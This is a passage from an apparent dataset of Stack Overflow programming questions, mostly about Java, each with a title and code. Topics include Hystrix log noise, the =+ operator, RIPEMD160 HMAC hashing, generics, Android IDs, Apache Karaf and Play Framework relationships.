) , traceId=896e5143-fa67-4fd1-b97e-517282780e94 , parents= [ ] , spanId=ee1d4f95-30c1-4784-8366-58c3a73c3565 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.200 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308555199 , end=1462308555200 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=4c5fd89d-f5d2-45bf-a727-32a3e1b57c35 , parents= [ ] , spanId=c7e254b5-63de-4a00-9d91-1584edd9650c , remote=false , annotations= { /messaging/headers/id=4cd7f1c7-0aba-63c3-fddd-aeb5ea9b21e5 , /messaging/headers/timestamp=1462308555200 , /messaging/payload/type=java.lang.String , /messaging/payload/size=592 } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.698 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308555698 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=eb214d13-6e16-4b76-abd7-1217e4932e93 , parents= [ ] , spanId=4d9790b0-745a-46a9-99b8-f5d23a570113 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.698 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308555698 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=eb214d13-6e16-4b76-abd7-1217e4932e93 , parents= [ ] , spanId=4d9790b0-745a-46a9-99b8-f5d23a570113 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.699 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308555699 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=8651f8c4-6de8-4a6a-a28e-7d248d6a6ac3 , parents= [ ] , spanId=3fa8d40b-e14f-4209-a10b-adc47d03cccd , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.699 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308555699 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=8651f8c4-6de8-4a6a-a28e-7d248d6a6ac3 , parents= [ ] , spanId=3fa8d40b-e14f-4209-a10b-adc47d03cccd , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.699 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308555698 , end=1462308555699 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=eb214d13-6e16-4b76-abd7-1217e4932e93 , parents= [ ] , spanId=4d9790b0-745a-46a9-99b8-f5d23a570113 , remote=false , annotations= { /messaging/headers/id=a59cf028-1b92-1a67-c4f2-651fb0f488e0 , /messaging/headers/timestamp=1462308555699 , /messaging/payload/type=java.lang.String , /messaging/payload/size=592 } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:15.700 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308555699 , end=1462308555700 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=8651f8c4-6de8-4a6a-a28e-7d248d6a6ac3 , parents= [ ] , spanId=3fa8d40b-e14f-4209-a10b-adc47d03cccd , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.197 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308556197 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=9599a694-1d0d-40c1-82d5-9c4af32d71d2 , parents= [ ] , spanId=0e2b6691-a5ef-40f2-b9ff-00203075f1f0 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.197 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308556197 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=9599a694-1d0d-40c1-82d5-9c4af32d71d2 , parents= [ ] , spanId=0e2b6691-a5ef-40f2-b9ff-00203075f1f0 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.198 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308556197 , end=1462308556198 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=9599a694-1d0d-40c1-82d5-9c4af32d71d2 , parents= [ ] , spanId=0e2b6691-a5ef-40f2-b9ff-00203075f1f0 , remote=false , annotations= { /messaging/headers/id=78c358eb-547c-9c3f-9b4c-2cd971da2198 , /messaging/headers/timestamp=1462308556198 , /messaging/payload/type=java.lang.String , /messaging/payload/size=592 } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.199 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308556198 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=bed72154-51a5-4637-b0a8-7b1e5ba352f3 , parents= [ ] , spanId=107b9f6d-e97c-4f67-a196-8725293dc1f4 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.199 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308556198 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=bed72154-51a5-4637-b0a8-7b1e5ba352f3 , parents= [ ] , spanId=107b9f6d-e97c-4f67-a196-8725293dc1f4 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.199 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308556198 , end=1462308556199 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=bed72154-51a5-4637-b0a8-7b1e5ba352f3 , parents= [ ] , spanId=107b9f6d-e97c-4f67-a196-8725293dc1f4 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.698 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308556698 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=0d5c02ca-91ad-432a-8b6b-ed460e7fbe20 , parents= [ ] , spanId=fbf0674d-2610-455a-8cd8-d3602ee50d55 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.698 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308556698 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=fec97646-fd36-40f2-8708-0c34b96fb32d , parents= [ ] , spanId=12442026-67da-4f8b-9584-8d1fa188b88c , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.698 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308556698 , end=0 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=0d5c02ca-91ad-432a-8b6b-ed460e7fbe20 , parents= [ ] , spanId=fbf0674d-2610-455a-8cd8-d3602ee50d55 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.698 INFO [ LogMessage=Continued span : MilliSpan ( begin=1462308556698 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=fec97646-fd36-40f2-8708-0c34b96fb32d , parents= [ ] , spanId=12442026-67da-4f8b-9584-8d1fa188b88c , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.698 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308556698 , end=1462308556698 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=fec97646-fd36-40f2-8708-0c34b96fb32d , parents= [ ] , spanId=12442026-67da-4f8b-9584-8d1fa188b88c , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:16.699 INFO [ LogMessage=Stopped span : MilliSpan ( begin=1462308556698 , end=1462308556699 , name=execution ( HystrixStreamTask.sendMetrics ( ) ) , traceId=0d5c02ca-91ad-432a-8b6b-ed460e7fbe20 , parents= [ ] , spanId=fbf0674d-2610-455a-8cd8-d3602ee50d55 , remote=false , annotations= { /messaging/headers/id=92af5087-ff24-e8b9-94dc-863b1dd17ba2 , /messaging/headers/timestamp=1462308556699 , /messaging/payload/type=java.lang.String , /messaging/payload/size=592 } , processId=null , timelineAnnotations= [ ] ) ] 2016-05-03 13:49:17.198 INFO [ LogMessage=Starting span : MilliSpan ( begin=1462308557198 , end=0 , name=execution ( HystrixStreamTask.gatherMetrics ( ) ) , traceId=e389098b-c606-478f-9b55-b8a7c4cceed5 , parents= [ ] , spanId=8fbc4ffd-6e42-4489-baa2-69d42a562c96 , remote=false , annotations= { } , processId=null , timelineAnnotations= [ ] ) ] hystrix : command.default.execution.isolation.strategy : SEMAPHORE command.default.execution.isolation.thread.timeoutInMilliseconds : 60000 command.default.execution.timeout.enabled : false command.default.fallback.enabled : false threadpool.default.coreSize : 20",Too many LOGS getting generated for Hystrix-AMQP +Java,Consider this code : Why is val = 3 in the end ? I would have calculated like this : But it 's 3 . I do n't understand why the increment val =+ ++i is not done the second time when i = 1 and getting pre-incremented to i = 2 .,long val = 0 ; for ( int i = 0 ; i < 2 ; val++ ) val =+ ++i ; System.out.println ( val ) ; val i0 0 i < 2 = true ; 0 0 ++i ; 0 1 val =+ 1 ; 1 1 ( end of for loop ) val++ ; 2 1 i < 2 = true ; 2 1 ++i ; 2 2 val =+ 2 ; 4 2 ( end of for loop ) val++ ; 5 2 i < 2 = false ; Output : 5,=+ Operator in Java +Java,"In right click menu have Source- > generate Getters and Setters.On selecting the option , the user can select the variables for which getter and setter need to be generated.I want something similar.Source- > generate increment code . User can select the variable names from a list populated from his class attributes.the generated method will look like I was thinking of extending the popupmenu plugin to create the options in the menus . But how do I make the code to be autogenerated on selection by user . Is using fast code template the answer . I new to plugins and I am confused . PLease do help .",private Integer abc ; public void incrementAbc ( ) { abc++ ; },Auto generating methods for variables in eclipse +Java,"I 'm trying to hash a String in Java using ripemd160 to emulate the output of the following php : Attempt 1Initially I 'd tried to emulate it using the following ... however I do n't believe it 's possible to use ripemd160 as a getInstance ` algorithm ? Or maybe it is and I just do n't have it locally enabled ? Attempt 2This led me to look for other ways to accomplish the above , through SO and Google I found that looking at BouncyCastle may be a better way to go.I then found this post that talks about hashing using the same algorithm as I 'd like and also BouncyCastle , it just does n't use a key . ( Can not output correct hash in Java . What is wrong ? ) I have this working as it would be expected to.IssueYou 'll note that in attempt 2 there is currently no way to supply a key for the hashing , my question is how can I adapt this function to be able to supply a key and accomplish the last stage of what I need to do to be able to emulate the original php function : hash_hmac ( 'ripemd160 ' , $ string , $ key ) ;","$ string = 'string ' ; $ key = 'test ' ; hash_hmac ( 'ripemd160 ' , $ string , $ key ) ; // outputs : 37241f2513c60ae4d9b3b8d0d30517445f451fa5 public String signRequest ( String uri , String secret ) { try { byte [ ] keyBytes = secret.getBytes ( ) ; SecretKeySpec signingKey = new SecretKeySpec ( keyBytes , `` HmacSHA1 '' ) ; Mac mac = Mac.getInstance ( `` ripemd160 '' ) ; mac.init ( signingKey ) ; // Compute the hmac on input data bytes byte [ ] rawHmac = mac.doFinal ( uri.getBytes ( ) ) ; // Convert raw bytes to Hex byte [ ] hexBytes = new Hex ( ) .encode ( rawHmac ) ; // Covert array of Hex bytes to a String return new String ( hexBytes , `` UTF-8 '' ) ; } catch ( Exception e ) { throw new RuntimeException ( e ) ; } } public static String toRIPEMD160 ( String in ) { try { byte [ ] addr = in.getBytes ( ) ; byte [ ] out = new byte [ 20 ] ; RIPEMD160Digest digest = new RIPEMD160Digest ( ) ; byte [ ] rawSha256 = sha256 ( addr ) ; String encodedSha256 = getHexString ( rawSha256 ) ; byte [ ] strBytes = base64Sha256.getBytes ( `` UTF-8 '' ) ; digest.update ( strBytes , 0 , strBytes.length ) ; digest.doFinal ( out , 0 ) ; return getHexString ( out ) ; } catch ( UnsupportedEncodingException ex ) { return null ; } }",Hash a string in Java emulating the php function hash_hmac using ripemd160 with a key +Java,"If you are developing Android application , you will encounter such a id naming in xml files of view and layouts : and I am really wondering why such naming is applied to ids . It is because of Linux ? What kinda meaning this naming -- @ +id/ ... -- has ? When I am looking at android : icon attribute I can interpret that it means ic_new_game is located under drawable folder and @ means `` located at '' or I just assume that.But naming id attributes are kinda different because they also have + sign . Can somebody help me understand this convention ? Thanks .",< menu xmlns : android= '' http : //schemas.android.com/apk/res/android '' > < item android : id= '' @ +id/new_game '' android : icon= '' @ drawable/ic_new_game '' android : title= '' @ string/new_game '' / > < item android : id= '' @ +id/quit '' android : icon= '' @ drawable/ic_quit '' android : title= '' @ string/quit '' / > < /menu >,Naming ID in Android Applications +Java,"Here is a code snippet.I want to know why no exception handling is required while dir.mkdir ( ) when there is one required while file.createNewFile ( ) .Are we very much sure that `` Nothing could wrong '' while creating a directory ? If yes , what are the reasons ?","File dir = new File ( `` dir '' ) ; dir.mkdir ( ) ; File file = new File ( dir , '' file.txt '' ) ; try { file.createNewFile ( ) ; } catch ( IOException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; }","Why dir.mkdir ( ) requires no exception handling , when file.createNewFile ( ) does ?" +Java,"I 'm trying to execute requests to a server which provided me with a .p12 file in order to make secure connection with rest services , I 'm doing the following in order to set the HttpClient with the key : When I execute the request with OAuth2RestOperations I got :","SSLContext sslContext =SSLContextBuilder .create ( ) .loadKeyMaterial ( ResourceUtils.getFile ( `` classpath : keystore/file.p12 '' ) , `` secret '' .toCharArray ( ) , `` secret '' .toCharArray ( ) ) .build ( ) ; return HttpClientBuilder .create ( ) .setConnectionManager ( connManager ( ) ) .setSSLContext ( sslContext ) .setDefaultRequestConfig ( requestConfig ( ) ) .build ( ) ; 401 , Non existing certificate or invalid",Using .p12 file to execute request to rest server +Java,"In short : Why can not I write the following code in Java ? Yeah , I know , the generics is kinda hacked into Java . Generics was n't there until Java 1.5 , and the generic type is lost during runtime.I also know , there are some patterns for it . For example : My question is , why is n't it automatically done by the compiler ? For each class , where any generic type is present , the compiler could automatically add one ( or more , if I have more generic types ) parameter for each constructor , and bind those values to private fields . And each time , I write bar instanceof T it could compile this as clazzOfGenericT.isInstance ( bar ) .Is there any reason , this is not implemented ? I 'm not totally sure , this would n't break backwards compatibility* - but then , new JVM languages ( like Scala , or Kotlin ) why does n't have this feature ? * : IMHO it could be done , without break any backwards compatibility .",public class Foo < T > { public void foo ( Object bar ) { if ( bar instanceof T ) { // todo } } } public class Foo < T > { Class < T > clazz ; public Foo ( Class < T > clazz ) { this.clazz = clazz ; } public void foo ( Object bar ) { if ( clazz.isInstance ( bar ) ) { // todo } } },Instance of T ( generic type ) in Java +Java,"So , given that I have an instance of this component : foo.cfcAnd , this other component , fooParent.cfc : Let 's say I create instances of `` foo '' a few different ways : As expected , this outputs : What I want to know is , what can I possibly do within foo.cfc that will tell me something ( anything ! ) about the context in which it is being invoked ? Since everything ultimately lives in ( at least ) a scope of some sort , and all scopes are a kind of object , what I 'm saying is that I would really like some way to determine the containing object , from within a given instantiated object . Ultimately , some way of building foo.cfc so that something like this could be my output , from my sample snippet above : Where each of those values might be determined by inspecting the result from passing getMetaData the actual containing object reference.Update As suggested by Micah in the comments , I 've added the `` Java '' tag to this , since I suspect he could be correct in that the solution may lie in using Java for introspection.UpdateRather than leave this as what appears to be a purely-academic discussion , let me explain why I need this.I 'm using CFWheels ORM with includes to get back references to my data like so : This will return to me an object that I can reference like so : Now , within my `` AuthSource.authenticate '' method , I would like to know about the `` User '' object that I 'm contained within . Otherwise , I will end up having to call the function like this , instead : I should be able to rely on the fact that I 'm calling the method on the AuthSource model through the User object and actually read from that object from within that method .","< cfcomponent > < cffunction name= '' locateMe '' > < cfreturn `` I do n't know where I live ! `` > < /cffunction > < /cfcomponent > < cfcomponent > < cfset this.foo = createObject ( `` component '' , `` foo '' ) > < /cfcomponent > < cfset myStruct = { } > < cfset myStruct.foo = createObject ( `` component '' , `` foo '' ) > < cfset myFoo = createObject ( `` component '' , `` foo '' ) > < cfset myFooParent = createObject ( `` component '' , `` fooParent '' ) > < cfoutput > # myStruct.foo.locateMe ( ) # < br > # myFoo.locateMe ( ) # < br > # myFooParent.foo.locateMe ( ) # < br > < /cfoutput > I do n't know where I live ! I do n't know where I live ! I do n't know where I live ! I live within a `` class coldfusion.runtime.Struct '' instance ! I live within a `` class coldfusion.runtime.VariableScope '' instance ! I live within a `` component cfjunk.fooParent '' instance ! var user = model ( `` User '' ) .findOne ( where= '' id=123 '' , include= '' AuthSource '' , returnAs= '' object '' ) ; user.id // property of the `` User '' modeluser.reset ( ) // method on the `` User '' modeluser.AuthSource.id // property of the `` AuthSource '' modeluser.AuthSource.authenticate ( password ) // method on the `` AuthSource '' model user.AuthSource.authenticate ( user , password ) // note the redundancy in the use of `` user ''",How do I determine the context in which a ColdFusion object resides ? +Java,"I understand that annotations are immutable , however , arrays in Java are by themselves not immutable . After running a test I notice that the array returned from an annotation parameter can be mutated but it does not effect the source array : This prints : What is going on behind the scenes here ? Is there simply an array copy happening during each call to value ( ) , or is it something more complex ?",@ Target ( { ElementType.TYPE } ) @ Retention ( RetentionPolicy.RUNTIME ) @ interface ArrayAnnotation { String [ ] value ( ) default { } ; } @ ArrayAnnotation ( { `` foo '' } ) public class Main { public static void main ( String [ ] args ) { ArrayAnnotation test = Main.class.getAnnotation ( ArrayAnnotation.class ) ; String [ ] test0 = test.value ( ) ; test0 [ 0 ] = `` bar '' ; System.out.println ( test0 [ 0 ] ) ; String [ ] test1 = test.value ( ) ; System.out.println ( test1 [ 0 ] ) ; } } barfoo,How do annotations prevent mutations of an array parameter ? +Java,"We developed a Java application which uses the TwinCat ADS library ( DLL ) to read , write and handle events from the Beckhoff PLC ( CX5120 ) .We successfully run this on several machines but unfortunately we ’ re currently having a problem case where the event handling suddenly stops.This is the exact scenario we went through : Read , write and events are handled correctly.Suddenly we don ’ t get any events at all anymore , reading and writing are still working correctly though.Replaced the PLC for another one , started working successfully again . We assumed it was a licensing problem then.After a week of unattended running , the same problem started again , PLC/ADS library seems not to be triggering events anymore and we can ’ t seem to get it working again in any way . Reading/writing still working as it should.Tested using another PC with the Java application , same problem . So something in the PLC seems to freeze up / stop working.Here 's how we have setup the event handling :","// Implementation of the CallbackListenerAdsState interfacepublic class ADSEventController implements CallbackListenerAdsState { ... ... // Register itself as listener for the ADS events ( in constructor ) callObject = new AdsCallbackObject ( ) ; callObject.addListenerCallbackAdsState ( this ) ; ... .// Event handlingpublic void onEvent ( AmsAddr addr , AdsNotificationHeader notification , long user ) { log.info ( `` Got ADS event for handle [ { } ] and with raw data [ { } ] '' , user , notification.getData ( ) ) ; ... ... // Registering notification handles for PLC variables// If we already assigned a notification , delete it first ( while reconnecting ) JNILong notification = new JNILong ( ) ; if ( var.getNotification ( ) ! = null ) { notification = var.getNotification ( ) ; AdsCallDllFunction.adsSyncDelDeviceNotificationReq ( addr , notification ) ; } // Specify attributes of the notificationRequestAdsNotificationAttrib attr = new AdsNotificationAttrib ( ) ; attr.setCbLength ( var.getSize ( ) ) ; attr.setNTransMode ( AdsConstants.ADSTRANS_SERVERONCHA ) ; attr.setDwChangeFilter ( 1000 ) ; // 0.01 secattr.setNMaxDelay ( 2000 ) ; // 0.02 sec// Create notificationHandlelong err = AdsCallDllFunction.adsSyncAddDeviceNotificationReq ( addr , AdsCallDllFunction.ADSIGRP_SYM_VALBYHND , // IndexGroup var.getHandle ( ) , // IndexOffset attr , // The defined AdsNotificationAttrib object var.getHandle ( ) , // Choose arbitrary number notification ) ; var.setNotification ( notification ) ; if ( err ! = 0 ) { log.error ( `` Error : Add notification : 0x { } for var [ { } ] '' , Long.toHexString ( err ) , var.getId ( ) ) ; }",Twincat ADS event driven reading stops working after a while ( Java ) +Java,"I am using Play Framework ( Java flavor ) for a project . In this project I have two models which I would like to create a OneToOne relationship between . I have a User model and a UserLegalName model . I would like each User to have a UserLegalName model . User model codeUserLegalName model code The issue is that the User and the UserLegalName do not seam to getting `` related '' The user_user_id column is always NULL . I have tried JoinColumn ( name = `` user_id '' ) for the User in UserLegalName but this does not work eitherEdit : After taking @ Sivakumar answer and fixing my code the UserLegalName is now storing correctlyHowever when I attempt to get the UserLegalName for a user , it still turns up nullWhich returnsEdit 2 : You can add fetch=FetchType.EAGER to the OneToOne annotation in the User model and that will fetch the UserLegalName every time . However in reality the User model is much more complicated . It holds many more relationships . Is there a different way to do this ? By keeping the fetch type as EAGER it could create inefficient queries ( EX : I only want the users email , in a separate table , but it also queries the User_Legal_Name table )","User.find.where ( ) .eq ( `` userId '' , userId ) .findUnique ( ) { `` userId '' : '' f5ea6d1d-d22d-4127-b6e7-0b3d0446edfe '' , '' legalName '' : null }","Play Framework , OneToOne relationship not working" +Java,"When using jol 's GraphLayout class to print the graph of objects referenced from an object instance , some of the output entries say `` ( something else ) '' instead of a type and reference path . For example , consider the following code that prints the graph of a list of 20 random Integer objects : This code prints : Searching for jol `` something else '' on DuckDuckGo and Google did not return any useful hits.What do the `` ( something else ) '' entries represent ?","List < Integer > foo = new Random ( ) .ints ( 20 ) .boxed ( ) .collect ( Collectors.toList ( ) ) ; System.out.println ( GraphLayout.parseInstance ( foo ) .toPrintable ( ) ) ; java.util.ArrayList object externals : ADDRESS SIZE TYPE PATH VALUE d642ecc8 24 java.util.ArrayList ( object ) d642ece0 16 java.lang.Integer .elementData [ 0 ] 212716192 d642ecf0 56 ( something else ) ( somewhere else ) ( something else ) d642ed28 16 java.lang.Integer .elementData [ 1 ] 1503736768 d642ed38 16 java.lang.Integer .elementData [ 2 ] -2099759732 d642ed48 16 java.lang.Integer .elementData [ 3 ] 445566433 d642ed58 16 java.lang.Integer .elementData [ 4 ] -1528625708 d642ed68 16 java.lang.Integer .elementData [ 5 ] -555424299 d642ed78 16 java.lang.Integer .elementData [ 6 ] 1607595284 d642ed88 16 java.lang.Integer .elementData [ 7 ] 763466772 d642ed98 16 java.lang.Integer .elementData [ 8 ] 638331919 d642eda8 16 java.lang.Integer .elementData [ 9 ] -1742026575 d642edb8 16 java.lang.Integer .elementData [ 10 ] 1920101909 d642edc8 80 ( something else ) ( somewhere else ) ( something else ) d642ee18 16 java.lang.Integer .elementData [ 11 ] 2001035318 d642ee28 16 java.lang.Integer .elementData [ 12 ] -1920666937 d642ee38 16 java.lang.Integer .elementData [ 13 ] -991335829 d642ee48 16 java.lang.Integer .elementData [ 14 ] -47760298 d642ee58 16 java.lang.Integer .elementData [ 15 ] 855824902 d642ee68 104 [ Ljava.lang.Object ; .elementData [ 212716192 , 1503736768 , -2099759732 , 445566433 , -1528625708 , -555424299 , 1607595284 , 763466772 , 638331919 , -1742026575 , 1920101909 , 2001035318 , -1920666937 , -991335829 , -47760298 , 855824902 , 2137884845 , -226328690 , 1472718384 , 890105604 , null , null ] d642eed0 16 java.lang.Integer .elementData [ 16 ] 2137884845 d642eee0 16 java.lang.Integer .elementData [ 17 ] -226328690 d642eef0 16 java.lang.Integer .elementData [ 18 ] 1472718384 d642ef00 16 java.lang.Integer .elementData [ 19 ] 890105604",What is `` ( something else ) '' in jol GraphLayout output ? +Java,"We have a class hierarchy similar to this one : The interfaces actually have more than one implementation but that 's not the problem . Compiling this with the Eclipse compiler or Java 1.6 works just fine ( as seen on ideone ) . But if I try to compile this with Java 1.5 ( which is one of the requirements of our project ) gives the following error : Also note that it does n't happen with JDK 1.6 using -target 1.5 either , only with JDK 1.5The only cases when this error occurs that I found on the web are related to doing things like this : where it 's obvious what the problem is.But it my case it should work , since it 's clear that getSubInterface ( ) returns a SubInterface implementing class that definitely has the getField ( ) method.So is this a compiler bug ? And what options do I have besides doing mi. < SubInterface > getSubInterface ( ) every single time ( which works , but since Eclipse does n't mark this as an error , most people on the team forget do it , and most of them use only JDK 1.6 so they do n't notice it when compiling with maven/cmd line either ) ?",public class TestDereference { private static MainInterface mi = new MainInterfaceImpl ( ) ; public static void main ( String [ ] args ) { System.out.println ( mi.getSubInterface ( ) .getField ( ) ) ; } } interface MainInterface { < T extends SubInterface > T getSubInterface ( ) ; } interface SubInterface { Field getField ( ) ; } class Field { @ Override public String toString ( ) { return `` Hooray ! `` ; } } class SubInterfaceImpl implements SubInterface { Field f = new Field ( ) ; public Field getField ( ) { return f ; } } class MainInterfaceImpl implements MainInterface { SubInterfaceImpl si = new SubInterfaceImpl ( ) ; public < T extends SubInterface > T getSubInterface ( ) { return ( T ) si ; } } TestDereference.java:12 : test.SubInterface can not be dereferenced System.out.println ( mi.getSubInterface ( ) .getField ( ) ) ; ^ double d = 2.0 ; d.toString ( ) ;,Sun JDK 1.5 can not dereference error with generics +Java,"I have learned from this answer on for and while loops in C # that : `` The compiler/JIT has optimisations for this scenario as long as you use arr.Length in the condition : '' This tempted me to wonder if java compiler has such optimizations.I think it does , well , does it ? Does the same happen when using Collection like ArrayList ? But what if I have to use the value of myList.size ( ) inside the body of the for loop , considering now myList to be an ArrayList ? So in that case will not hoisting myList.size ( ) help , since size ( ) is a method call ? For example may be something like this : Edit : Though I have n't obtained an answer for java , I am still adding a second part to this question.Q : Does C++ ( C++98/C++11 ) have such optimisations , e.g . for vector.size ( ) and string.size ( ) ? For instance , which is better performance-wise ? orThat said , does such optimisation exist for std : :string as well ?","for ( int i = 0 ; i < arr.Length ; i++ ) { Console.WriteLine ( arr [ i ] ) ; // skips bounds check } for ( int i=0 ; i < arr.length ; i++ ) { System.out.println ( arr [ i ] ) ; // is bounds check skipped here ? } int len = myList.size ( ) ; // hoisting for using inside the loopfor ( int i = 0 ; i < myList.size ( ) ; i++ ) { // not using hoisted value for optimization System.out.println ( myList.get ( i ) ) ; if ( someOtherVariable == len ) { doSomethingElse ( ) ; } } for ( int i = 0 ; i < myvector.size ( ) ; ++i ) cout < < myvector [ i ] < < `` `` ; // is bounds checking skipped here , like in C # ? // does this manual optimisation help improve performance , or does it make ? int size = myvector.size ( ) ; for ( int i = 0 ; i < size ; ++i ) cout < < myvector [ i ] < < `` `` ;",Compiler/JIT optimisation of bounds check of for loop in Java and C++ +Java,I 'd like to ask about java type erasure rules.If we have classes : Can you please explain me why calling setX ( ) method causes compilation problem ?,public class Shape { } public class Circle extends Shape { } public class Base < T extends Shape > { T x ; public void setX ( T t ) { } } public class MainClass ( ) { public static void main ( String ... _arg ) { Base < ? extends Shape > bs = new Base < Circle > ( ) ; bs.setX ( new Circle ( ) ) ; // < - compilation problem } },Java generics type erasure +Java,"I am stuck in getting the apache karaf rest example to work.I successfully managed to install karaf on my laptop and get a hello world example application on the console to run . I also managed to compile the example applications in the C : \karaf\examples using mvn install.As a next step I tried to `` install '' the rest-example as discussed in the README.md by executing the commandThis resulted in the following error message : karaf @ root ( ) > feature : repo-add mvn : org.apache.karaf.examples/karaf-rest-example-features/4.2.1-SNAPSHOT/xml Adding feature url mvn : org.apache.karaf.examples/karaf-rest-example-features/4.2.1-SNAPSHOT/xml Error executing command : Error resolving artifact org.apache.karaf.examples : karaf-rest-example-features : xml:4.2.1-SNAPSHOT : [ Could not find artifact org.apache.karaf.examples : karaf-rest-example-features : xml:4.2.1-SNAPSHOT in apache ( http : //repository.apache.org/content/groups/snapshots-group/ ) , Could not find artifact org.apache.karaf.examples : karaf-rest-example-features : xml:4.2.1-SNAPSHOT in ops4j.sonatype.snapshots.deploy ( https : //oss.sonatype.org/content/repositories/ops4j-snapshots/ ) ] : mvn : org.apache.karaf.examples/karaf-rest-example-features/4.2.1-SNAPSHOT/xmlSee here for a screen shot of the error messageQuestion : how can I get a simple rest service to start in apache karaf ? ( does not have to be the example exactly , I would be happy to have some hello world example which is accessible via http . ) Thank you very much for your support ! Update1 : I tried to install the bundles by directly adding them to my deploy directory . I am getting the following errors when trying to start up the bundles . What exactly am i missing here ? Update2 : I have installed all the missing requirements but i still get the following error . I am very sorry for these tedious questions , but why is the org.osgi.service.blueprint requirement still missing even though the bundle is clearly installed and running ( id 177 ) ?",feature : repo-add mvn : org.apache.karaf.examples/karaf-rest-example-features/4.2.1-SNAPSHOT/xml,How to get the karaf rest example to work ? +Java,"Calling java.lang.reflect.Type.toString ( ) provides very nice representation of generic types : What I need is the reverse of Type.toString ( ) method , i.e . a method that can create Types from given string representation : Which can pass following tests with specialized types : I could n't find a library or a SO question that addresses this problem .","@ Testpublic void typeToStringWithTypeToken ( ) { assertEquals ( `` java.util.List < java.lang.String > '' , new TypeToken < List < String > > ( ) { } .getType ( ) .toString ( ) ) ; } public static Type parseTypeString ( String typeString ) throws ClassNotFoundException { if ( typeString.indexOf ( ' < ' ) == -1 ) { return Class.forName ( typeString ) ; } // ? ? ? how to implement rest throw new IllegalStateException ( `` not implemented '' ) ; } @ Testpublic void justSimpleClassName ( ) throws Exception { assertEquals ( Integer.class , parseTypeString ( `` java.lang.Integer '' ) ) ; } @ Testpublic void listOfInteger ( ) throws Exception { assertEquals ( new TypeToken < List < Integer > > ( ) { } .getType ( ) , parseTypeString ( `` java.util.List < java.lang.Integer > '' ) ) ; } @ Testpublic void complexType ( ) throws Exception { assertEquals ( new TypeToken < Map < List < Integer > , Set < String > > > ( ) { } .getType ( ) , parseTypeString ( `` java.util.Map < java.util.List < java.lang.Integer > , java.util.Set < java.lang.String > > '' ) ) ; }",Class.forName equivalent for creating ParameterizedType 's from String +Java,Lets say we have the following class : If I want to call it via Java 8 method reference : I will get the error : How can I define which of those methods I want to be called ?,"public class NameCreator { public String createName ( String lastname ) { return lastname ; } public String createName ( String lastname , String firstName ) { return lastname + `` `` + firstname } ... } NameCreator : :createName Can not resolve method createName",Java 8 method reference : how to determine which method to take ? +Java,"Starting with this trivial example from java2s : the output isI 'm trying to understand what 's going on inside the flatMap . I 'd like to see the output of the IntStream.range , but I can not get it to work . It seems you can whack a forEach ( SOP ) onto an IntStream.range ( a , b ) but when it 's inside of the flatMap function , that ca n't be done ( and I did n't at first notice that the whole of name - > IntStream.range ( 0 , name.length ( ) ) 